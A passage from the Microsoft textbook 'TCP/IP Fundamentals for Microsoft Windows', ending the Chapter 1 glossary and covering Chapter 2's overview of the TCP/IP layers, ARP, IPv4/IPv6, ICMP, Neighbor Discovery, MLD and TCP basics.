are not addressed to an IP address of the router. On an IPv6 network, a router also typically advertises
its presence and host configuration information.
subnet – One or more LAN segments that are bounded by routers and that use the same IP address
prefix. Other terms for subnet are network segment and link.
TCP/IP – See Transmission Control Protocol/Internet Protocol (TCP/IP).
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 21
Transmission Control Protocol/Internet Protocol (TCP/IP) – A suite of networking protocols, including
both IPv4 and IPv6, that are widely used on the Internet and that provide communication across
interconnected networks of computers with diverse hardware architectures and various operating
systems.
upper-layer protocol – A protocol above IP that uses IP as its transport. Examples of upper-layer
protocols include Internet layer protocols such as the Internet Control Message Protocol (ICMP) and
Transport layer protocols such as the Transmission Control Protocol (TCP) and User Datagram
Protocol (UDP).
Chapter 1 – Introduction to TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 22
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 23
Chapter 2 – Architectural Overview of the TCP/IP Protocol
Suite
Abstract
This chapter examines the Transmission Control Protocol/Internet Protocol (TCP/IP) protocol suite in greater detail,
analyzing its four layers and the core protocols used within each layer. Network administrators must have an
understanding of the core protocols in the various layers and their functions to understand how networking applications
work, how data is sent from one application to another, and how to interpret network captures. This chapter also
discusses the two main application programming interfaces (APIs) that networking applications for the Microsoft
Windows operating systems use and the APIs’ naming schemes.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 24
Chapter Objectives
After completing this chapter, you will be able to:
Describe how the TCP/IP protocol suite maps to the Department of Defense Advanced Research
Projects Agency (DARPA) and Open System Interconnection (OSI) models.
List the main protocols in the Network Interface, Internet, Transport, and Application layers of the
DARPA model.
Describe the purpose of the core protocols of the IPv4 Internet layer.
Describe the purpose of the core protocols of the IPv6 Internet layer.
Describe the purpose and characteristics of the TCP and User Datagram Protocol (UDP) protocols.
Explain how IP uses the information in IP packets to deliver data to the correct application on a
destination node.
Describe the purpose and characteristics of the Windows Sockets and Network Basic Input/Output
System (NetBIOS) APIs.
Describe the purpose and characteristics of the host name and NetBIOS naming schemes used by
TCP/IP components in Windows.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 25
The TCP/IP Protocol Suite
The TCP/IP protocol suite maps to a four-layer conceptual model known as the DARPA model, which
was named after the U.S. government agency that initially developed TCP/IP. The four layers of the
DARPA model are: Application, Transport, Internet, and Network Interface. Each layer in the DARPA
model corresponds to one or more layers of the seven-layer OSI model.
Figure 2-1 shows the architecture of the TCP/IP protocol suite.
Figure 2-1 The architecture of the TCP/IP protocol suite
The TCP/IP protocol suite has two sets of protocols at the Internet layer:
IPv4, also known as IP, is the Internet layer in common use today on private intranets and the Internet.
IPv6 is the new Internet layer that will eventually replace the existing IPv4 Internet layer.
Network Interface Layer
The Network Interface layer (also called the Network Access layer) sends TCP/IP packets on the
network medium and receives TCP/IP packets off the network medium. TCP/IP was designed to be
independent of the network access method, frame format, and medium. Therefore, you can use TCP/IP
to communicate across differing network types that use LAN technologies—such as Ethernet and
802.11 wireless LAN—and WAN technologies—such as Frame Relay and Asynchronous Transfer
Mode (ATM). By being independent of any specific network technology, TCP/IP can be adapted to new
technologies.
The Network Interface layer of the DARPA model encompasses the Data Link and Physical layers of
the OSI model. The Internet layer of the DARPA model does not take advantage of sequencing and
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 26
acknowledgment services that might be present in the Data Link layer of the OSI model. The Internet
layer assumes an unreliable Network Interface layer and that reliable communications through session
establishment and the sequencing and acknowledgment of packets is the responsibility of either the
Transport layer or the Application layer.
Internet Layer
The Internet layer responsibilities include addressing, packaging, and routing functions. The Internet
layer is analogous to the Network layer of the OSI model.
The core protocols for the IPv4 Internet layer consist of the following:
The Address Resolution Protocol (ARP) resolves the Internet layer address to a Network Interface layer
address such as a hardware address.
The Internet Protocol (IP) is a routable protocol that addresses, routes, fragments, and reassembles
packets.
The Internet Control Message Protocol (ICMP) reports errors and other information to help you
diagnose unsuccessful packet delivery.
The Internet Group Management Protocol (IGMP) manages IP multicast groups.
For more information about the core protocols for the IPv4 Internet layer, see "IPv4 Internet Layer" later
in this chapter.
The core protocols for the IPv6 Internet layer consist of the following:
IPv6 is a routable protocol that addresses and routes packets.
The Internet Control Message Protocol for IPv6 (ICMPv6) reports errors and other information to help
you diagnose unsuccessful packet delivery.
The Neighbor Discovery (ND) protocol manages the interactions between neighboring IPv6 nodes.
The Multicast Listener Discovery (MLD) protocol manages IPv6 multicast groups.
For more information about the core protocols for the IPv6 Internet layer, see "IPv6 Internet Layer" later
in this chapter.
Transport Layer
The Transport layer (also known as the Host-to-Host Transport layer) provides the Application layer
with session and datagram communication services. The Transport layer encompasses the
responsibilities of the OSI Transport layer. The core protocols of the Transport layer are TCP and UDP.
TCP provides a one-to-one, connection-oriented, reliable communications service. TCP establishes
connections, sequences and acknowledges packets sent, and recovers packets lost during
transmission.
In contrast to TCP, UDP provides a one-to-one or one-to-many, connectionless, unreliable
communications service. UDP is used when the amount of data to be transferred is small (such as the
data that would fit into a single packet), when an application developer does not want the overhead
associated with TCP connections, or when the applications or upper-layer protocols provide reliable
delivery.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 27
TCP and UDP operate over both IPv4 and IPv6 Internet layers.
The Internet Protocol (TCP/IP) component of Windows Server 2003 and Windows XP contains
separate versions of the TCP and UDP protocols than the Microsoft TCP/IP Version 6 component does.
The versions in the Microsoft TCP/IP Version 6 component are functionally equivalent to those provided
with the Microsoft Windows NT® 4.0 operating systems and contain all the most recent security
updates. The existence of separate protocol stacks with their own versions of TCP and UDP is known
as a dual stack architecture.
The Next Generation TCP/IP stack in Windows Server 2008 and Windows Vista is a single protocol
stack that supports the dual IP layer architecture, in which both IPv4 and IPv6 share common Transport
and Network Interface layers (as Figure 2-1 shows). Because there is a single implementation of TCP,
TCP traffic over IPv6 can take advantage of all the performance features of the Next Generation
TCP/IP stack. These features include all of the performance enhancements of the IPv4 protocol stack
of Windows XP and Windows Server 2003 and additional enhancements new to the Next Generation
TCP/IP stack, such as Receive Window Auto Tuning and Compound TCP.
Application Layer
The Application layer allows applications to access the services of the other layers, and it defines the
protocols that applications use to exchange data. The Application layer contains many protocols, and
more are always being developed.
The most widely known Application layer protocols help users exchange information:
The Hypertext Transfer Protocol (HTTP) transfers files that make up pages on the World Wide Web.
The File Transfer Protocol (FTP) transfers individual files, typically for an interactive user session.
The Simple Mail Transfer Protocol (SMTP) transfers mail messages and attachments.
Additionally, the following Application layer protocols help you use and manage TCP/IP networks:
The Domain Name System (DNS) protocol resolves a host name, such as www.microsoft.com, to an IP
address and copies name information between DNS servers.
The Routing Information Protocol (RIP) is a protocol that routers use to exchange routing information on
an IP network.
The Simple Network Management Protocol (SNMP) collects and exchanges network management
information between a network management console and network devices such as routers, bridges,
and servers.
Windows Sockets and NetBIOS are examples of Application layer interfaces for TCP/IP applications.
For more information, see “Application Programming Interfaces” later in this chapter.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 28
IPv4 Internet Layer
The IPv4 Internet layer consists of the following protocols:
ARP
IP (IPv4)
ICMP
IGMP
The following sections describe each of these protocols in more detail.
ARP
When IP sends packets over a shared access, broadcast-based networking technology such as
Ethernet or 802.11 wireless LAN, the protocol must resolve the media access control (MAC) addresses
corresponding to the IPv4 addresses of the nodes to which the packets are being forwarded, also
known as the next-hop IPv4 addresses. As RFC 826 defines, ARP uses MAC-level broadcasts to
resolve next-hop IPv4 addresses to their corresponding MAC addresses.
Based on the destination IPv4 address and the route determination process, IPv4 determines the next-
hop IPv4 address and interface for forwarding the packet. IPv4 then hands the IPv4 packet, the next-
hop IPv4 address, and the next-hop interface to ARP.
If the IPv4 address of the packet’s next hop is the same as the IPv4 address of the packet’s destination,
ARP performs a direct delivery to the destination. In a direct delivery, ARP must resolve the IPv4
address of the packet’s destination to its MAC address.
If the IPv4 address of the packet’s next hop is not the same as the IPv4 address of the packet’s
destination, ARP performs an indirect delivery to a router. In an indirect delivery, ARP must resolve the
IPv4 address of the router to its MAC address
To resolve the IPv4 address of a packet’s next hop to its MAC address, ARP uses the broadcasting
facility on shared access networking technologies (such as Ethernet or 802.11) to send out a broadcast
ARP Request frame. In response, the sender receives an ARP Reply frame, which contains the MAC
address that corresponds to the IPv4 address of the packet’s next hop.
ARP Cache
To minimize the number of broadcast ARP Request frames, many TCP/IP protocol implementations
incorporate an ARP cache, which is a table of recently resolved IPv4 addresses and their
corresponding MAC addresses. ARP checks this cache before sending an ARP Request frame. Each
interface has its own ARP cache.
Depending on the vendor implementation, the ARP cache can have the following qualities:
ARP cache entries can be dynamic (based on ARP replies) or static. Static ARP cache entries are
permanent, and you add them manually using a TCP/IP tool, such as the Arp tool provided with
Windows. Static ARP cache entries prevent nodes from sending ARP requests for commonly used local
IPv4 addresses, such as those for routers and servers. The problem with static ARP cache entries is
that you must manually update them when network adapter equipment changes.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 29
Dynamic ARP cache entries have time-out values associated with them so that they are removed from
the cache after a specified period of time. For example, dynamic ARP cache entries for Windows
Server 2003 and Windows XP are removed after no more than 10 minutes.
To view the ARP cache on a Windows–based computer, type arp -a at a command prompt. You can
also use the Arp tool to add or delete static ARP cache entries.
ARP Process
When sending the initial packet as the sending host or forwarding the packet as a router, IPv4 sends
the IPv4 packet, the next-hop IPv4 address, and the next-hop interface to ARP. Whether performing a
direct or indirect delivery, ARP performs the following process:
1. Based on the next-hop IPv4 address and interface, ARP checks the appropriate ARP cache for an
entry that matches the next-hop IPv4 address. If ARP finds an entry, ARP skips to step 6.
2. If ARP does not find an entry, ARP builds an ARP Request frame. This frame contains the MAC and
IPv4 addresses of the interface from which the ARP request is being sent and the IPv4 packet's next-
hop IPv4 address. ARP then broadcasts the ARP Request frame from the appropriate interface.
3. All nodes on the subnet receive the broadcasted frame and process the ARP request. If the next-hop
address in the ARP request corresponds to the IPv4 address assigned to an interface on the subnet,
the receiving node updates its ARP cache with the IPv4 and MAC addresses of the ARP requestor.
All other nodes silently discard the ARP request.
4. The receiving node that is assigned the IPv4 packet’s next-hop address formulates an ARP reply that
contains the requested MAC address and sends the reply directly to the ARP requestor.
5. When the ARP requestor receives the ARP reply, the requestor updates its ARP cache with the
address mapping. With the exchange of the ARP request and the ARP reply, both the ARP requestor
and ARP responder have each other's address mappings in their ARP caches.
6. The ARP requestor sends the IPv4 packet to the next-hop node by addressing it to the resolved MAC
address.
Figure 2-2 shows this process.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 30
Figure 2-2 The ARP address resolution process
Internet Protocol version 4 (IPv4)
IPv4 is a datagram protocol primarily responsible for addressing and routing packets between hosts.
IPv4 is connectionless, which means that it does not establish a connection before exchanging data,
and unreliable, which means that it does not guarantee packet delivery. IPv4 always makes a “best
effort” attempt to deliver a packet. An IPv4 packet might be lost, delivered out of sequence, duplicated,
or delayed. IPv4 does not attempt to recover from these types of errors. A higher-layer protocol, such
as TCP or an application protocol, must acknowledge delivered packets and recover lost packets if
needed. IPv4 is defined in RFC 791.
An IPv4 packet consists of an IPv4 header and an IPv4 payload. An IPv4 payload, in turn, consists of
an upper layer protocol data unit, such as a TCP segment or a UDP message. Figure 2-3 shows the
basic structure of an IPv4 packet.
Figure 2-3 The basic structure of an IPv4 packet
Table 2-1 lists and describes the key fields in the IPv4 header.
IP Header Field
Description
Source IP Address
The IPv4 address of the source of the IP packet.
Destination IP Address
The IPv4 address of the intermediate or final
destination of the IPv4 packet.
Identification
An identifier for all fragments of a specific IPv4 packet,
if fragmentation occurs.
Protocol
An identifier of the upper-layer protocol to which the
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 31
IPv4 payload must be passed.
Checksum
A simple mathematical computation used to check for
bit-level errors in the IPv4 header.
Time-to-Live (TTL)
The number of network segments on which the
datagram is allowed to travel before a router should
discard it. The sending host sets the TTL, and routers
decrease the TTL by one when forwarding an IPv4
packet. This field prevents packets from endlessly
circulating on an IPv4 network.
Table 2-1 Key Fields in the IPv4 Header
Fragmentation and Reassembly
If a router receives an IPv4 packet that is too large for the network segment on which the packet is
being forwarded, IPv4 on the router fragments the original packet into smaller packets that fit on the
forwarding network segment. When the packets arrive at their final destination, IPv4 on the destination
host reassembles the fragments into the original payload. This process is referred to as fragmentation
and reassembly. Fragmentation can occur in environments that have a mix of networking technologies,
such as Ethernet or Token Ring.
Fragmentation and reassembly work as follows:
1. Before an IPv4 packet is sent, the source places a unique value in the Identification field.
2. A router in the path between the sending host and the destination receives the IPv4 packet and notes
that it is larger than the maximum transmission unit (MTU) of the network onto which the packet is to
be forwarded.
3. IPv4 divides the original IPv4 payload into fragments that fit on the next network. Each fragment
receives its own IPv4 header containing:
The original Identification field, which identifies all fragments that belong together.
The More Fragments flag, which indicates that other fragments follow. The More Fragments flag is
not set on the last fragment, because no other fragments follow it.
The Fragment Offset field, which indicates the position of the fragment relative to the original IPv4
payload.
When the remote host receives the fragments, it uses the Identification field to identify which fragments
belong together and the Fragment Offset field to reassemble the fragments in their proper order to
recreate the original IPv4 payload.
Internet Control Message Protocol (ICMP)
ICMP, defined in RFC 792, reports and helps troubleshoot errors for packets that are undeliverable. For
example, if IPv4 cannot deliver a packet to the destination host, ICMP on the router or the destination
host sends a Destination Unreachable message to the sending host. Table 2-2 lists and describes the
most common ICMP messages.
ICMP Message
Description
Echo
The Ping tool sends ICMP Echo messages to
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 32
troubleshoot network problems by checking IPv4
connectivity to a particular node.
Echo Reply
Nodes send Echo Reply messages to respond to
ICMP Echo messages.
Redirect
Routers send Redirect messages to inform sending
hosts of better routes to destination IPv4 addresses.
Source Quench
Routers send Source Quench messages to inform
sending hosts that their IPv4 packets are being
dropped due to congestion at the router. The sending
hosts then send packets less frequently.
Destination Unreachable
Routers and destination hosts send Destination
Unreachable messages to inform sending hosts that
their packets cannot be delivered.
Table 2-3 Common ICMP Messages
ICMP contains a series of defined Destination Unreachable messages. Table 2-3 lists and describes
the most common messages.
Destination Unreachable Message
Description
Host Unreachable
Routers send Host Unreachable messages when they
cannot find routes to destination IPv4 addresses.
Protocol Unreachable
Destination IPv4 nodes send Protocol Unreachable
messages when they cannot match the Protocol field
in the IPv4 header with an IPv4 client protocol that is
currently in use.
Port Unreachable
IPv4 nodes send Port Unreachable messages when
they cannot match the Destination Port field in the
UDP header with an application using that UDP port.
Fragmentation Needed and DF Set
IPv4 routers send Fragmentation Needed and DF Set
messages when fragmentation must occur but the
sending node has set the Don’t Fragment (DF) flag in
the IPv4 header.
Table 2-3 Common ICMP Destination Unreachable Messages
ICMP does not make IPv4 a reliable protocol. ICMP attempts to report errors and provide feedback on
specific conditions. ICMP messages are carried as unacknowledged IPv4 packets and are themselves
unreliable.
Internet Group Management Protocol (IGMP)
Routers and hosts use IGMP to manage membership in IPv4 multicast groups on a subnet. An IPv4
multicast group, also known as a host group, is a set of hosts that listen for IPv4 traffic destined for a
specific IPv4 multicast address. IPv4 multicast traffic on a given subnet is sent to a single MAC address
but received and processed by multiple IPv4 hosts. A host group member listens on a specific IPv4
multicast address and receives all packets sent to that IPv4 address.
For a host to receive IPv4 multicasts, an application must inform IPv4 that it will receive multicasts at a
specified IPv4 multicast address. IPv4 then informs the routers on locally attached subnets that it
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 33
should receive multicasts sent to the specified IPv4 multicast address. IGMP is the protocol to register
host group membership information.
IGMP messages take the following forms:
Host group members use the IGMP Host Membership Report message to declare their membership in
a specific host group.
Routers use the IGMP Host Membership Query message to poll subnets for information about
members of host groups.
Host group members use the IGMP Leave Group message when they leave a group of which they
might be the last member on the subnet.
For IPv4 multicasting to span routers across an IPv4 network, routers use multicast routing protocols to
communicate host group information. Each router that supports multicast forwarding can then
determine how to forward IPv4 multicast traffic.
For more information about IP multicasting for both IPv4 and IPv6 networks, see Appendix A, "IP
Multicast."
Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP support IGMP, IGMP
version 2, and IGMP version 3, which RFC 1112, RFC 2236, and RFC 3376 define respectively.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 34
IPv6 Internet Layer
IPv6 will eventually replace the IPv4 Internet layer protocols in the DARPA model. IPv6 replaces:
IPv4 with IPv6 IPv6 is a routable protocol that addresses, routes, fragments, and reassembles
packets.
ICMP with ICMPv6 ICMPv6 provides diagnostic functions and reports errors when IPv6 packets
cannot be delivered.
IGMP with MLD MLD manages IPv6 multicast group membership.
ARP with ND ND manages interaction between neighboring nodes, including automatically configuring
addresses and resolving next-hop IPv6 addresses to MAC addresses.
Software developers do not need to change the protocols at the Transport and Application layers to
support operation over an IPv6 Internet layer, except when addresses are part of the payload or part of
the data structures maintained by the protocol. For example, software developers must update both
TCP and UDP to perform a new checksum, and they must update RIP to send and receive IPv6-based
routing information.
The IPv6 Internet layer consists of the following protocols:
IPv6
ICMPv6
ND
MLD
The following sections describe these protocols in more detail.
IPv6
Like IPv4, IPv6 is a connectionless, unreliable datagram protocol that is primarily responsible for
addressing and routing packets between hosts.
RFC 2460 defines IPv6 packet structure. An IPv6 packet consists of an IPv6 header and an IPv6
payload. The IPv6 payload consists of zero or more IPv6 extension headers and an upper layer
protocol data unit, such as an ICMPv6 message, a TCP segment, or a UDP message. Figure 2-4
shows the basic structure of an IPv6 packet.
Figure 2-4 Basic structure of an IPv6 packet
Table 2-4 lists and describes the key fields in the IPv6 header.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 35
IPv6 Header Field
Description
Source Address
A 128-bit IPv6 address to identify the original source of
the IPv6 packet.
Destination Address
A 128-bit IPv6 address to identify the intermediate or
final destination of the IPv6 packet.
Next Header
An identifier for either the IPv6 extension header
immediately following the IPv6 header or an upper
layer protocol, such as ICMPv6, TCP, or UDP.
Hop Limit
The number of links on which the packet is allowed to
travel before being discarded by a router. The
sending host sets the hop limit, and routers decrease
the hop limit by one when forwarding an IPv6 packet.
This field prevents packets from endlessly circulating
on an IPv6 network.
Table 2-4 Key Fields in the IPv6 Header
IPv6 Extension Headers
IPv6 payloads can contain zero or more extension headers, which can vary in length. A Next Header
field in the IPv6 header indicates the next extension header. Each extension header contains another
Next Header field that indicates the next extension header. The last extension header indicates the
upper layer protocol (such as TCP, UDP, or ICMPv6), if any, that the upper layer protocol data unit
contains.
The IPv6 header and extension headers replace the existing IPv4 header and its capability to include
options. The new format for extension headers allows IPv6 to be augmented to support future needs
and capabilities. Unlike options in the IPv4 header, IPv6 extension headers have no maximum size and
can expand to accommodate all the extension data needed for IPv6 communication.
RFC 2460 defines the following IPv6 extension headers that all IPv6 nodes must support:
Hop-by-Hop Options header
Destination Options header
Routing header
Fragment header
Authentication header
Encapsulating Security Payload header
Typical IPv6 packets contain no extension headers. Sending hosts add one or more extension headers
only if intermediate routers or the destination need to handle a packet in a particular way.
Fragmentation in IPv6
In IPv4, if a router receives a packet that is too large for the network segment to which the packet is
being forwarded and fragmentation of the packet is allowed, IPv4 on the router fragments the original
packet into smaller packets that fit on the forwarding network segment. In IPv6, only the sending host
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 36
fragments a packet. If an IPv6 packet is too large, the IPv6 router sends an ICMPv6 Packet Too Big
message to the sending host and discards the packet.
A sending host can fragment packets and destination hosts can reassemble packets through the use of
the Fragment extension header.
Internet Control Message Protocol for IPv6 (ICMPv6)
Like IPv4, IPv6 does not report errors. Instead, IPv6 uses an updated version of ICMP for IPv4. This
new version is named ICMPv6, and it performs the common ICMP for IPv4 functions of reporting errors
in delivery or forwarding and providing a simple echo service for troubleshooting. The ICMPv6 protocol
also provides a message structure for ND and MLD messages.
Table 2-5 lists and describes the ICMPv6 messages defined in RFC 4443.
ICMPv6 Message
Description
Echo Request
Sending hosts send Echo Request messages to check
IPv6 connectivity to a particular node.
Echo Reply
Nodes send Echo Reply messages to reply to ICMPv6
Echo Request messages.
Destination Unreachable
Routers or destination hosts send Destination
Unreachable messages to inform sending hosts that
packets or payloads cannot be delivered.
Packet Too Big
Routers send Packet Too Big messages to inform
sending hosts that packets are too large to forward.
Time Exceeded
Routers send Time Exceeded messages to inform
sending hosts that the hop limit of an IPv6 packet has
expired.
Parameter Problem
Routers send Parameter Problem messages to inform
sending hosts when errors were encountered in
processing the IPv6 header or an IPv6 extension
header.
Table 2-5 Common ICMPv6 Messages
ICMPv6 contains a series of defined Destination Unreachable messages. Table 2-6 lists and describes
the most common messages.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 37
Destination Unreachable Message
Description
No Route Found
Routers send this message when they cannot find
routes to the destination IPv6 addresses in their local
IPv6 routing tables.
Communication Prohibited by Administrative Policy
Routers send this message when a policy configured
on the router prohibits communication with the
destination. For example, this type of message is sent
when a firewall discards a packet.
Destination Address Unreachable
IPv6 routers send this message when they cannot
resolve a destination’s MAC address.
Destination Port Unreachable
Destination hosts send this message when an IPv6
packet containing a UDP message to a destination
UDP port does not correspond to a listening
application.
Table 2-6 Common ICMPv6 Destination Unreachable Messages
ICMPv6 does not make IPv6 a reliable protocol. ICMPv6 attempts to report errors and provide feedback
on specific conditions. ICMPv6 messages are carried as unacknowledged IPv6 packets and are
themselves unreliable.
Neighbor Discovery (ND)
ND is a set of ICMPv6 messages and processes that determine relationships between neighboring
nodes. ND replaces ARP, ICMP Router Discovery, and ICMP Redirect used in IPv4 and provides
additional functionality.
Hosts use ND to:
Discover neighboring routers.
Discover and automatically configure addresses and other configuration parameters.
Routers use ND to:
Advertise their presence, host addresses, and other configuration parameters.
Inform hosts of a better next-hop address to forward packets for a specific destination.
Nodes (both hosts and routers) use ND to:
Resolve the link-layer address (also known as a MAC address) of a neighboring node to which an IPv6
packet is being forwarded
Dynamically advertise changes in MAC addresses.
Determine whether a neighbor is still reachable.
Table 2-7 lists and describes the ND processes described in RFC 4861.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 38
Neighbor Discovery Process
Description
Router discovery
The process by which a host discovers its neighboring
routers. For more information, see "Router Discovery"
later in this chapter.
Prefix discovery
The process by which hosts discover the subnet
prefixes for local subnet destinations. For more
information about IPv6 subnet prefixes, see Chapter 3,
"IP Addressing."
Address autoconfiguration
The process for configuring IPv6 addresses for
interfaces in either the presence or absence of an
address configuration server such as one running
Dynamic Host Configuration Protocol version 6
(DHCPv6). For more information, see "Address
Autoconfiguration" later in this chapter.
Address resolution
The process by which nodes resolve a neighbor’s IPv6
address to its MAC address. Address resolution in
IPv6 is equivalent to ARP in IPv4. For more
information, see "Address Resolution" in this chapter.
Next-hop determination
The process by which a node determines the next-hop
IPv6 address to which a packet is being forwarded
based on the destination address. The next-hop
address is either the destination address or the
address of a neighboring router.
Neighbor unreachability detection
The process by which a node determines that the IPv6
layer of a neighbor is not capable of sending or
receiving packets.
Duplicate address detection
The process by which a node determines that an
address considered for use is not already in use by a
neighboring node.
Redirect function
The process of informing a host of a better first-hop
IPv6 address to reach a destination.
Table 2-7 IPv6 Neighbor Discovery Processes
Address Resolution
IPv6 address resolution consists of exchanging Neighbor Solicitation and Neighbor Advertisement
messages to resolve the next-hop IPv6 address to its corresponding MAC address. The sending host
sends a multicast Neighbor Solicitation message on the appropriate interface. The Neighbor Solicitation
message includes the MAC address of the sending node.
When the target node receives the Neighbor Solicitation message, it updates its neighbor cache
(equivalent to the ARP cache) with an entry for the source address and MAC address included in the
Neighbor Solicitation message. Next, the target node sends a unicast Neighbor Advertisement
message with its MAC address to the sender of the Neighbor Solicitation message.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 39
After receiving the Neighbor Advertisement from the target, the sending host updates its neighbor
cache with an entry for the target node based upon the included MAC address. At this point, the
sending host and the target of the neighbor solicitation can send unicast IPv6 traffic.
Router Discovery
Router discovery is the process through which hosts attempt to discover the set of routers on the local
subnet. In addition to configuring a default router, IPv6 router discovery also configures the following:
The default setting for the Hop Limit field in the IPv6 header.
A determination of whether the node should use an address configuration protocol, such as Dynamic
Host Configuration Protocol for IPv6 (DHCPv6), for addresses and other configuration parameters.
The list of subnet prefixes defined for the link. Each subnet prefix contains both the IPv6 subnet prefix
and its valid and preferred lifetimes. If indicated, the host uses the subnet prefix to create an IPv6
address configuration without using an address configuration protocol. A subnet prefix also defines the
range of addresses for nodes on the local link.
The IPv6 router discovery processes are the following:
IPv6 routers periodically send multicast Router Advertisement messages on the subnet advertising their
existence as routers and other configuration parameters such as address prefixes and the default hop
limit.
IPv6 hosts on the local subnet receive the Router Advertisement messages and use their contents to
configure addresses, a default router, and other configuration parameters.
A host that is starting up sends a multicast Router Solicitation message. Upon receipt of a Router
Solicitation message, all routers on the local subnet send a unicast Router Advertisement message to
the host that sent the router solicitation. The host receives the Router Advertisement messages and
uses their contents to configure addresses, a default router, and other configuration parameters.
Address Autoconfiguration
A highly useful aspect of IPv6 is its ability to automatically configure itself without the use of an address
configuration protocol, such as Dynamic Host Configuration Protocol for IPv6 (DHCPv6). By default, an
IPv6 host can configure an address for use on the subnet for each interface. By using router discovery,
a host can also determine the addresses of routers, additional addresses, and other configuration
parameters. Router Advertisement messages indicate whether an address configuration protocol
should be used. RFC 4862 defines IPv6 address autoconfiguration.
For more information about IPv6 address autoconfiguration, see Chapter 6 “Dynamic Host
Configuration Protocol.”
Multicast Listener Discovery (MLD)
MLD is the IPv6 equivalent of IGMP version 2 for IPv4. MLD is a set of ICMPv6 messages exchanged
by routers and nodes, enabling routers to discover the set of IPv6 multicast addresses for which there
are listening nodes for each attached interface. Like IGMPv2, MLD discovers only those multicast
addresses that include at least one listener, not the list of individual multicast listeners for each
multicast address. RFC 2710 defines MLD.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 40
Unlike IGMPv2, MLD uses ICMPv6 messages instead of defining its own message structure. The three
types of MLD messages are:
Multicast Listener Query Routers use Multicast Listener Query messages to query a subnet for
multicast listeners.
Multicast Listener Report Multicast listeners use Multicast Listener Report messages to either report
interest in receiving multicast traffic for a specific multicast address or to respond to a Multicast Listener
Query message.
Multicast Listener Done Multicast listeners use Multicast Listener Done messages to report that they
might be the last multicast group member on the subnet.
Windows Server 2008 and Windows Vista also support MLD version 2 (MLDv2), specified in RFC 3810,
which allows IPv6 hosts to register interest in source-specific multicast traffic with their local multicast
routers. A host running Windows Server 2008 or Windows Vista can register interest in receiving IPv6
multicast traffic from only specific source addresses (an include list) or from any source except specific
source addresses (an exclude list).
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 41
Transmission Control Protocol (TCP)
TCP is a reliable, connection-oriented delivery service. Connection-oriented means that a connection
must be established before hosts can exchange data. Reliability is achieved by assigning a sequence
number to each segment transmitted. TCP peers, the two nodes using TCP to communicate,
acknowledge when they receive data. A TCP segment is the protocol data unit (PDU) consisting of the
TCP header and the TCP payload, also known as a segment. For each TCP segment sent containing
data, the receiving host must return an acknowledgment (ACK). If an ACK is not received within a
calculated time, the TCP segment is retransmitted. RFC 793 defines TCP.
Table 2-8 lists and describes the key fields in the TCP header.
Field
Description
Source Port
TCP port of sending application.
Destination Port
TCP port of destination application.
Sequence Number
Sequence number of the first byte of data in the TCP
segment.
Acknowledgment Number
Sequence number of the next byte the sender expects
to receive from its TCP peer.
Window
Current size of a memory buffer on the host sending
this TCP segment to store incoming segments.
Checksum
A simple mathematical calculation that is used to
check for bit-level errors in the TCP segment.
Table 2-8 Key fields in the TCP header
TCP Ports
To use TCP, an application must supply the IP address and TCP port number of the source and
destination applications. A port provides a location for sending segments. A unique number identifies
each port. TCP ports are distinct and separate from UDP ports even though some of them use the
same number. Port numbers below 1024 are well-known ports that the Internet Assigned Numbers
Authority (IANA) assigns. Table 2-9 lists a few well-known TCP ports.
TCP Port Number
Description
20
FTP (data channel)
21
FTP (control channel)
23
Telnet
80
HTTP used for the World Wide Web
139
NetBIOS session service
Table 2-9 Well-known TCP Ports
For a complete list of assigned TCP ports, see http://www.iana.org/assignments/port-numbers.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
TCP/IP Fundamentals for Microsoft Windows
Page: 42
TCP Three-Way Handshake
A TCP connection is initialized through a three-way handshake. The purpose of the three-way
handshake is to synchronize the sequence number and acknowledgment numbers of both sides of the
connection and to exchange TCP window sizes. The following steps outline the process for the
common situation when a client computer contacts a server computer:
1. The client sends a TCP segment to the server with an initial sequence number for the connection and
a window size indicating the size of a buffer on the client to store incoming segments from the server.
2. The server sends back a TCP segment containing its chosen initial sequence number, an
acknowledgment of the client’s sequence number, and a window size indicating the size of a buffer
on the server to store incoming segments from the client.
3. The client sends a TCP segment to the server containing an acknowledgment of the server’s
sequence number.
TCP uses a similar handshake process to end a connection. This guarantees that both hosts have
finished transmitting and that all data was received.
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite
